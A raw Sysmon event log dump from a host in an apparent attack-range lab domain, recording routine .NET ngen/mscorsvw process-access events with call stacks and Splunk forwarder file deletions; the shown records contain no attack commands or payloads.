10341000x800000000000000045045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.594{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-160A-00000000F001}3480C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.594{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-160A-00000000F001}3480C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.554{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-150A-00000000F001}2896C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.544{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-150A-00000000F001}2896C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.544{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-150A-00000000F001}2896C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.504{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-140A-00000000F001}5796C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.474{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-140A-00000000F001}5796C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.474{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-140A-00000000F001}5796C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.444{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-130A-00000000F001}6216C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.424{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-130A-00000000F001}6216C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.424{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-130A-00000000F001}6216C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.366{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-120A-00000000F001}4520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.354{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-120A-00000000F001}4520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.344{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-120A-00000000F001}4520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.344{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=61A6370EBB6AA0B5BDAC6B7220AB4FFB,SHA256=71BA27958C4B300FBE6F9883C6121B5F5A01841B45553A708A39F25F929A3215,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.344{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4CA9883A123D29C4302027EAED658BAF,SHA256=E6B5A20A8ACF0A3DEE369E9AD6B83A51702E5B14C34733693C5C3A865E3C28C7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.314{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-110A-00000000F001}5944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.304{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-110A-00000000F001}5944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.304{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-110A-00000000F001}5944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.254{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-100A-00000000F001}7092C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.244{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-100A-00000000F001}7092C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.244{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-100A-00000000F001}7092C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.204{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F77-613B-0F0A-00000000F001}6632C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.194{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F77-613B-0F0A-00000000F001}6632C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:11.184{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F77-613B-0F0A-00000000F001}6632C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\F